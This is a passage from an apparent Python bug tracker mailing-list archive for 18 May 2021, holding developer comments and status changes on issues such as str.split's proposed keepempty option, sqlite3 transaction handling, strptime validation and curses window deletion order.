' x y z'.split(maxsplit=1, keepempty=True) to be? I think it should be ['', ' x y z'] since in this case we are retaining empty strings and they should count towards the maxsplit. (In the current patch this crashes with a core dump since it tries to write to unallocated memory) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:13:27 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 18 May 2021 17:13:27 +0000 Subject: [issue44099] [c-api] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621358007.0.0.975080097108.issue44099@roundup.psfhosted.org> Shreyan Avigyan added the comment: A friendly ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:14:19 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 18 May 2021 17:14:19 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621349219.83.0.566193404543.issue44171@roundup.psfhosted.org> Message-ID: <1621358059.73.0.957007343453.issue44171@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:15:27 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 May 2021 17:15:27 +0000 Subject: [issue38768] [feature request] Add lldb equivalent to Tools/gdb In-Reply-To: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org> Message-ID: <1621358127.7.0.273556052558.issue38768@roundup.psfhosted.org> STINNER Victor added the comment: Does lldb support scripting in any way? For basic scripting, see also Misc/gdbinit which provides gdb macros: * pyo * pyg * pylocals * linenon * pyframev * pyframe * printframe * pystack * pystackv * pu I don't know if these macros are up to date for Python 3.11. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:16:18 2021 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 18 May 2021 17:16:18 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621349219.83.0.566193404543.issue44171@roundup.psfhosted.org> Message-ID: <1621358178.92.0.968919457232.issue44171@roundup.psfhosted.org> Change by Eric V. Smith : ---------- nosy: -eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:38:20 2021 From: report at bugs.python.org (Matthew Barnett) Date: Tue, 18 May 2021 17:38:20 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621359500.72.0.0346964061331.issue28937@roundup.psfhosted.org> Matthew Barnett added the comment: The best way to think of it is that .split() is like .split(' '), except that it's splitting on any whitespace character instead of just ' ', and keepempty is defaulting to False instead of True. Therefore: ' x y z'.split(maxsplit=1, keepempty=True) == ['', ' x y z'] because: ' x y z'.split(' ', maxsplit=1) == ['', ' x y z'] but: ' x y z'.split(maxsplit=1, keepempty=False) == ['x y z'] At least, I think that's the case! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:42:22 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 May 2021 17:42:22 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621359742.01.0.545626403616.issue44131@roundup.psfhosted.org> STINNER Victor added the comment: > The tests are now skipped on Windows. It might be better to use a feature check: hasattr(ctypes.pythonapi, 'Py_FrozenMain') On Unix, _testembed gets the symbol since it's used. Currently, hasattr(ctypes.pythonapi, 'Py_FrozenMain') returns false if Python is built without --enable-shared, even if _testembed is able to get Py_FrozenMain(). I hope that bpo-44133 will be solved soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 14:15:47 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 18:15:47 +0000 Subject: [issue7760] [doc] ctypes: use_errno=True does not work In-Reply-To: <1264205937.75.0.643663912285.issue7760@psf.upfronthosting.co.za> Message-ID: <1621361747.87.0.460351355671.issue7760@roundup.psfhosted.org> Irit Katriel added the comment: The recommendation not to use absolute paths in CDLL is still not mentioned in the docs: https://docs.python.org/3/library/ctypes.html#ctypes.CDLL Adding the (active) ctypes experts to nosy. ---------- components: +Documentation keywords: +easy nosy: +amaury.forgeotdarc, belopolsky, iritkatriel, meador.inge -theller title: ctypes: use_errno=True does not work -> [doc] ctypes: use_errno=True does not work type: behavior -> enhancement versions: +Python 3.11 -Python 2.6, Python 3.1 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 14:26:18 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 18:26:18 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621362378.26.0.94555373958.issue44147@roundup.psfhosted.org> Erlend E. Aasland added the comment: Setting status to pending again. (Seems like bpo likes this dance) ---------- nosy: +erlendaasland status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 14:34:35 2021 From: report at bugs.python.org (Mark Bell) Date: Tue, 18 May 2021 18:34:35 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621362875.48.0.485558398226.issue28937@roundup.psfhosted.org> Mark Bell added the comment: So I think I agree with you about the difference between .split() and .split(' '). However wouldn't that mean that ' x y z'.split(maxsplit=1, keepempty=False) == ['x', 'y z'] since it should do one split. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 14:54:58 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 18 May 2021 18:54:58 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621364098.2.0.591096311096.issue44147@roundup.psfhosted.org> Shreyan Avigyan added the comment: I've noticed whenever a core dev or triager sends a message the status is automatically set to open. But that's a different glitch or issue. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 14:56:49 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 18 May 2021 18:56:49 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621364209.6.0.379841918403.issue44147@roundup.psfhosted.org> Shreyan Avigyan added the comment: Are you kidding me, What's going wrong with this issue tracker? I sent a message and it's set to open now? I'm not even a core dev or triager. What the heck is going on? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 15:06:43 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 19:06:43 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621364803.42.0.724675366261.issue44147@roundup.psfhosted.org> Erlend E. Aasland added the comment: Eryk, Steve, can we close this? AFAICT, this belongs to a user forum. Shreyan: it seems like a bpo bug to me. I have a feeling closing the issue will help. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 15:08:11 2021 From: report at bugs.python.org (Catherine Devlin) Date: Tue, 18 May 2021 19:08:11 +0000 Subject: [issue24929] _strptime.TimeRE should not enforce range in regex In-Reply-To: <1440452349.29.0.876134082373.issue24929@psf.upfronthosting.co.za> Message-ID: <1621364891.77.0.598154976511.issue24929@roundup.psfhosted.org> Change by Catherine Devlin : ---------- keywords: +patch nosy: +Catherine.Devlin nosy_count: 2.0 -> 3.0 pull_requests: +24832 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/26215 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 15:14:57 2021 From: report at bugs.python.org (Eric Snow) Date: Tue, 18 May 2021 19:14:57 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1621365297.01.0.794087483649.issue43693@roundup.psfhosted.org> Change by Eric Snow : ---------- nosy: +eric.snow nosy_count: 4.0 -> 5.0 pull_requests: +24833 pull_request: https://github.com/python/cpython/pull/26216 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 15:30:50 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 19:30:50 +0000 Subject: [issue35889] sqlite3.Row doesn't have useful repr In-Reply-To: <1549112536.04.0.744689521798.issue35889@roundup.psfhosted.org> Message-ID: <1621366250.93.0.0244359176084.issue35889@roundup.psfhosted.org> Erlend E. Aasland added the comment: > What about a __repr__ that includes the primary key value(s) (for tables where that is defined)? I?d rather have that as a Row method, or read-only property. It should be straight-forward to implement. SQLite provides an API for such purposes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 15:36:27 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 19:36:27 +0000 Subject: [issue35889] sqlite3.Row doesn't have useful repr In-Reply-To: <1549112536.04.0.744689521798.issue35889@roundup.psfhosted.org> Message-ID: <1621366587.87.0.455325112077.issue35889@roundup.psfhosted.org> Erlend E. Aasland added the comment: See: - https://www.sqlite.org/c3ref/column_database_name.html - https://www.sqlite.org/c3ref/table_column_metadata.html Notice that the former is only available if SQLITE_ENABLE_COLUMN_METADATA was defined at compile time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 15:41:05 2021 From: report at bugs.python.org (Matthew Barnett) Date: Tue, 18 May 2021 19:41:05 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621366865.63.0.787653587368.issue28937@roundup.psfhosted.org> Matthew Barnett added the comment: We have that already, although it's spelled: ' x y z'.split(maxsplit=1) == ['x', 'y z'] because the keepempty option doesn't exist yet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 16:13:39 2021 From: report at bugs.python.org (Zachary Kneupper) Date: Tue, 18 May 2021 20:13:39 +0000 Subject: [issue37439] Add random.binomialvariate() In-Reply-To: <1561714089.16.0.904652961331.issue37439@roundup.psfhosted.org> Message-ID: <1621368819.98.0.753354327578.issue37439@roundup.psfhosted.org> Zachary Kneupper added the comment: Is adding random.binomialvariate() still under consideration? I would be willing to work on this addition to Lib/random.py, as well as the accompanying tests and docs. Should I use the type of algorithm hinted at by Mark on 2019-07-01 17:56? ---------- nosy: +zkneupper _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 16:21:10 2021 From: report at bugs.python.org (Norman Lorrain) Date: Tue, 18 May 2021 20:21:10 +0000 Subject: [issue12403] Mention sys.displayhook in code module docs and the compile builtin docs In-Reply-To: <1308959744.93.0.261089879651.issue12403@psf.upfronthosting.co.za> Message-ID: <1621369270.29.0.996014972686.issue12403@roundup.psfhosted.org> Change by Norman Lorrain : ---------- keywords: +patch nosy: +Norman Lorrain nosy_count: 7.0 -> 8.0 pull_requests: +24834 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26217 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 16:25:06 2021 From: report at bugs.python.org (Paul Ganssle) Date: Tue, 18 May 2021 20:25:06 +0000 Subject: [issue24929] _strptime.TimeRE should not enforce range in regex In-Reply-To: <1440452349.29.0.876134082373.issue24929@psf.upfronthosting.co.za> Message-ID: <1621369506.43.0.990129064819.issue24929@roundup.psfhosted.org> Paul Ganssle added the comment: I also commented on GH-26215 ( https://github.com/python/cpython/pull/26215 ), but for posterity, I'll note a few things: 1. It seems that (and this may have changed since 2015), `_strptime._strptime` now has a stage that (unconditionally?) constructs a temporary `datetime_date`, which means it does do this particular validation in both `time.strptime` and `datetime.strptime`. That said, both flavors of `strptime` are *way* slower than I'd like them to be, and constructing an unnecessary `date`/`datetime` is a pretty good way to slow down your function, so if we ever go around optimizing this function, that may be one of the first bits on the chopping block. 2. The logic for `strptime` is very complicated and it's very hard to test the full input space of the function (particularly since we're not using property tests (yet)...). This makes me somewhat uneasy about moving the validation stage from the beginning of the function (in parsing the regular expression) to the very *end* of the function (in the datetime constructor). It's *probably* safe to do so, but it may also be worth exploring the possibility of validating this directly in `_strptime` (possibly immediately after the string is parsed by the regex), and raising a cleaner error message on failure. Probably not worth spending a ton of time on that compared to improving the testing around this so that we can feel confident making changes under the hood. `.strptime` is really quite slow, and I wouldn't be surprised if we pulled out its guts and replaced most of the regex stuff with a fast C parser at some point in the future. Having good tests will both give us confidence to make this change (and that making this change won't lead to regressions in the future) and help with any future project to replace `_strptime._strptime` with a faster version, so I'd say that's the most important thing to do here. ---------- nosy: +p-ganssle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 16:26:49 2021 From: report at bugs.python.org (Miguel Brito) Date: Tue, 18 May 2021 20:26:49 +0000 Subject: [issue44166] Make IndexError messages for list more informative In-Reply-To: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org> Message-ID: <1621369609.85.0.496525619455.issue44166@roundup.psfhosted.org> Miguel Brito added the comment: Thanks for your comments, folks! I really appreciate it. I left a comment about this issue in the PR thread: https://github.com/python/cpython/pull/26207#issuecomment-843531990 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 16:36:39 2021 From: report at bugs.python.org (Eryk Sun) Date: Tue, 18 May 2021 20:36:39 +0000 Subject: [issue7760] [doc] ctypes: use_errno=True does not work In-Reply-To: <1264205937.75.0.643663912285.issue7760@psf.upfronthosting.co.za> Message-ID: <1621370199.82.0.777694800153.issue7760@roundup.psfhosted.org> Eryk Sun added the comment: > The recommendation not to use absolute paths in CDLL is still > not mentioned in the docs: It's not generally the case. Load just a base filename only if the shared library is in the loader's search path. Otherwise use a qualified path that contains at least one path separator (e.g. "./library.dll"). ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 16:44:33 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 May 2021 20:44:33 +0000 Subject: [issue43753] [C API] Add Py_Is(x, y) and Py_IsNone(x) functions In-Reply-To: <1617734338.35.0.565380301548.issue43753@roundup.psfhosted.org> Message-ID: <1621370673.86.0.476318704227.issue43753@roundup.psfhosted.org> STINNER Victor added the comment: Well, nobody came up with a better definition, so let's go with: "Test if the x object is the y object, the same as x is y in Python." Thanks for the feedback and reviews! Py_Is(x, y), Py_IsNone(x), Py_IsTrue(x) and Py_IsFalse(x) are now part of Python 3.10 C API. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 17:54:01 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 21:54:01 +0000 Subject: [issue35765] Document references object x but doesn't show it in the example In-Reply-To: <1547771500.83.0.912392206765.issue35765@roundup.psfhosted.org> Message-ID: <1621374841.1.0.0867836970878.issue35765@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 17:56:19 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 18 May 2021 21:56:19 +0000 Subject: [issue35765] Document references object x but doesn't show it in the example In-Reply-To: <1547771500.83.0.912392206765.issue35765@roundup.psfhosted.org> Message-ID: <1621374979.29.0.238112513692.issue35765@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24836 pull_request: https://github.com/python/cpython/pull/26219 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 17:56:14 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 18 May 2021 21:56:14 +0000 Subject: [issue35765] Document references object x but doesn't show it in the example In-Reply-To: <1547771500.83.0.912392206765.issue35765@roundup.psfhosted.org> Message-ID: <1621374974.73.0.74726392019.issue35765@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24835 pull_request: https://github.com/python/cpython/pull/26218 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 18:03:22 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 22:03:22 +0000 Subject: [issue30593] sqlite3 executescript does not respect isolation_level? In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621375402.08.0.836347456381.issue30593@roundup.psfhosted.org> Erlend E. Aasland added the comment: Mentioning this behaviour in the documentation should be sufficient. ---------- assignee: -> docs at python components: +Documentation -Library (Lib) nosy: +berker.peksag, docs at python, erlendaasland versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 18:12:42 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 22:12:42 +0000 Subject: [issue30593] sqlite3 executescript does not respect isolation_level? In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621375962.89.0.859370083327.issue30593@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24837 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26220 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 18:31:37 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 22:31:37 +0000 Subject: [issue42783] asyncio.sleep(0) idiom is not documented In-Reply-To: <1609270826.19.0.331548885122.issue42783@roundup.psfhosted.org> Message-ID: <1621377097.4.0.490974717547.issue42783@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 632b4034ab517b5d7f302c94fd9dc5a28c85f049 by Ken Jin in branch '3.9': [3.9] bpo-42783: Documentation for asyncio.sleep(0) (GH-24002) (GH-24153) https://github.com/python/cpython/commit/632b4034ab517b5d7f302c94fd9dc5a28c85f049 ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 18:32:06 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 22:32:06 +0000 Subject: [issue42783] asyncio.sleep(0) idiom is not documented In-Reply-To: <1609270826.19.0.331548885122.issue42783@roundup.psfhosted.org> Message-ID: <1621377126.07.0.799334931257.issue42783@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 18:32:22 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 22:32:22 +0000 Subject: [issue30593] Document that sqlite3.Cursor.executescript disregards isolation_level In-Reply-To: <1496874372.71.0.386718396878.issue30593@psf.upfronthosting.co.za> Message-ID: <1621377142.26.0.160890194271.issue30593@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: sqlite3 executescript does not respect isolation_level? -> Document that sqlite3.Cursor.executescript disregards isolation_level _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 18:40:14 2021 From: report at bugs.python.org (Shane Harvey) Date: Tue, 18 May 2021 22:40:14 +0000 Subject: [issue34932] Add macOS TCP_KEEPALIVE to available socket options In-Reply-To: <1539005890.42.0.545547206417.issue34932@psf.upfronthosting.co.za> Message-ID: <1621377614.6.0.571221768508.issue34932@roundup.psfhosted.org> Shane Harvey added the comment: I opened a PR to add the socket.TCP_KEEPALIVE flag *on macOS only*. I don't see a reason to add it on Windows since as far as I can tell, TCP_KEEPALIVE is completely undocumented there. Besides there are already two ways to configure keepalive times on Windows (using sock.ioctl+SIO_KEEPALIVE_VALS and using sock.setsockopt+TCP_KEEPIDLE), I don't think we should add a third way. See https://github.com/python/cpython/pull/25079 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 18:47:21 2021 From: report at bugs.python.org (Mark Bell) Date: Tue, 18 May 2021 22:47:21 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621378041.76.0.57736482558.issue28937@roundup.psfhosted.org> Change by Mark Bell : ---------- pull_requests: +24839 pull_request: https://github.com/python/cpython/pull/26222 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 19:08:09 2021 From: report at bugs.python.org (Mohammed Dief) Date: Tue, 18 May 2021 23:08:09 +0000 Subject: [issue43813] Denial of service on http.server module with large request method. In-Reply-To: <1618233428.41.0.905190325792.issue43813@roundup.psfhosted.org> Message-ID: <1621379289.36.0.15819355545.issue43813@roundup.psfhosted.org> Change by Mohammed Dief : ---------- keywords: +patch pull_requests: +24840 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26223 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 19:15:37 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 May 2021 23:15:37 +0000 Subject: [issue27334] [sqlite3] context manager leaves db locked if commit fails in __exit__ In-Reply-To: <1466095550.35.0.353945818907.issue27334@psf.upfronthosting.co.za> Message-ID: <1621379737.7.0.550865422387.issue27334@roundup.psfhosted.org> Erlend E. Aasland added the comment: > I believe the reason for this problem is that the exception happened in the > implicit `commit` that is run on exiting the context manager, rather than > inside it. In fact the exception is in the `pass` line rather than in the > `execute` line. This exception did not trigger a `rollback` because the it > happened after `pysqlite_connection_exit` checks for exceptions. FYI, here's the SQLite API interaction from the context manager, chronologically (using the test from the PR). (I only show the relevant arguments passed to the API, for readability.) sqlite3_prepare_v2("insert into t values('test')", insert_stmt) => SQLITE_OK sqlite3_get_autocommit() # Note, the insert statement is now prepared, but not executed yet. # Transaction control now begins sqlite3_prepare_v2("BEGIN ", begin_stmt) => SQLITE_OK sqlite3_step(begin_stmt) => SQLITE_DONE sqlite3_finalize(begin_stmt) # Here, the insert statement is executed sqlite3_bind_blob_parameter_count(insert_stmt) sqlite3_step(insert_stmt) => SQLITE_DONE sqlite3_changes() sqlite3_last_insert_rowid() sqlite3_reset(insert_stmt) => SQLITE_OK sqlite3_get_autocommit() # Enter __exit__: no exception has been raised, so it tries to commit sqlite3_prepare_v2("commit", commit_stmt) => SQLITE_OK sqlite3_step(commit_stmt) => SQLITE_BUSY (database is locked) sqlite3_finalize(commit_stmt) # After the fix, rollback is now executed sqlite3_prepare_v2("rollback", rollback_stmt) sqlite3_step(rollback_stmt) => SQLITE_DONE sqlite3_finalize(rollback_Stmt) As you can see, it does not fail (and raise an exception) until commit is issued inside __exit__. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 19:52:28 2021 From: report at bugs.python.org (Roundup Robot) Date: Tue, 18 May 2021 23:52:28 +0000 Subject: [issue32307] Bad assumption on thread stack size makes python crash with musl libc In-Reply-To: <1513187194.31.0.213398074469.issue32307@psf.upfronthosting.co.za> Message-ID: <1621381948.68.0.5264304789.issue32307@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 2.0 -> 3.0 pull_requests: +24841 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26224 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 20:39:23 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 19 May 2021 00:39:23 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621384763.88.0.569757819251.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: Any objections to linear_regression(x, y) -> (slope, intercept)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 21:19:05 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 19 May 2021 01:19:05 +0000 Subject: [issue40339] Instead of skipping, IPV6 test(s) fail on a non-IPV6 machine In-Reply-To: <1587404929.24.0.675615215393.issue40339@roundup.psfhosted.org> Message-ID: <1621387145.41.0.750689547557.issue40339@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Test suite fails when Ipv6 is unavailable _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 21:22:22 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 19 May 2021 01:22:22 +0000 Subject: [issue29639] test suite intentionally avoids referring to localhost, destroying abstraction away from IPv6 vs IPv4 In-Reply-To: <1487900097.24.0.236303974594.issue29639@psf.upfronthosting.co.za> Message-ID: <1621387342.64.0.404282123478.issue29639@roundup.psfhosted.org> Gregory P. Smith added the comment: I'm making progress on https://bugs.python.org/issue37901 and related IPv6-only issues, the changes of which tend to shake out improper uses of 127.0.0.1 hardcoded. I'm closing this issue as there aren't specific needs that the rest won't cover. ---------- resolution: -> out of date stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 21:32:22 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 19 May 2021 01:32:22 +0000 Subject: [issue37901] 21 tests fail when run on an IPv6-only host In-Reply-To: <1566340883.47.0.899841913634.issue37901@roundup.psfhosted.org> Message-ID: <1621387942.24.0.800783299028.issue37901@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +24842 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26225 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 21:37:03 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 19 May 2021 01:37:03 +0000 Subject: [issue22891] code removal from urllib.parse.urlsplit() In-Reply-To: <1416220944.83.0.361625539874.issue22891@psf.upfronthosting.co.za> Message-ID: <1621388223.56.0.0226262099159.issue22891@roundup.psfhosted.org> Gregory P. Smith added the comment: There are still a lot of cleanliness and even logical issues lurking within urllib.parse. But this bug is dated and other changes have happened since. I'm closing it as out of date. Open new issues for specific action items. ---------- nosy: +gregory.p.smith resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 22:08:10 2021 From: report at bugs.python.org (Michael Forney) Date: Wed, 19 May 2021 02:08:10 +0000 Subject: [issue44172] curses module may call delwin() on original window before subwindows Message-ID: <1621390090.86.0.52375337548.issue44172@roundup.psfhosted.org> New submission from Michael Forney : When subwin() is used to create a subwindow for an original window, it does not keep a reference to the original window object. This can result in the original window getting deleted with delwin() before the subwindow. According to the X/Open curses specification[0]: > The application must delete subwindows before deleting the main window. This is also mentioned in the ncurses documentation[1]: > Subwindows must be deleted before the main window can be deleted. When building the Python curses module against NetBSD's curses implementation, deleting the windows in the wrong order causes a double-free. This results in hanging or crashing when running test_curses. To fix this, window objects for subwindows should keep a reference to the original window object. [0] https://pubs.opengroup.org/onlinepubs/7908799/xcurses/delwin.html [1] https://invisible-island.net/ncurses/man/curs_window.3x.html ---------- components: Extension Modules messages: 393916 nosy: michaelforney priority: normal severity: normal status: open title: curses module may call delwin() on original window before subwindows type: crash versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 22:24:53 2021 From: report at bugs.python.org (Michael Forney) Date: Wed, 19 May 2021 02:24:53 +0000 Subject: [issue44172] curses module may call delwin() on original window before subwindows In-Reply-To: <1621390090.86.0.52375337548.issue44172@roundup.psfhosted.org> Message-ID: <1621391093.35.0.523826490122.issue44172@roundup.psfhosted.org> Change by Michael Forney : ---------- keywords: +patch pull_requests: +24843 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26226 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 22:25:06 2021 From: report at bugs.python.org (Zachary Kneupper) Date: Wed, 19 May 2021 02:25:06 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621391106.71.0.891431588584.issue44151@roundup.psfhosted.org> Zachary Kneupper added the comment: > Any objections to linear_regression(x, y) -> (slope, intercept)? I think `linear_regression(x, y)` would be intuitive for a wide range of users. Just to clarify, is the proposal to return a regular tuple instead of named tuple? Would we do this: return (slope, intercept) and not do this: return LinearRegression(intercept=intercept, slope=slope) and not do this: return Line(intercept=intercept, slope=slope) ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 22:28:39 2021 From: report at bugs.python.org (JuniorJPDJ) Date: Wed, 19 May 2021 02:28:39 +0000 Subject: [issue44173] Stored (uncompressed) ZipExtFile in zipfile can be seekable at lower cost Message-ID: <1621391319.87.0.895694633998.issue44173@roundup.psfhosted.org> New submission from JuniorJPDJ : At the moment stored ZipExtFile is being read to the place of seek like all other compressed variants. It's not needed as it's possible to freely seek uncompressed file inside zip without this penalty. Lots of apps depend on ZipExtFile seeking ability and it would lower performance and IO penalty significantly. I've POC patch created. It disables CRC checking after first seek as it's impossible to check CRC if we are not reading whole file. ---------- components: Library (Lib) messages: 393918 nosy: juniorjpdj priority: normal severity: normal status: open title: Stored (uncompressed) ZipExtFile in zipfile can be seekable at lower cost type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 22:30:41 2021 From: report at bugs.python.org (JuniorJPDJ) Date: Wed, 19 May 2021 02:30:41 +0000 Subject: [issue44173] 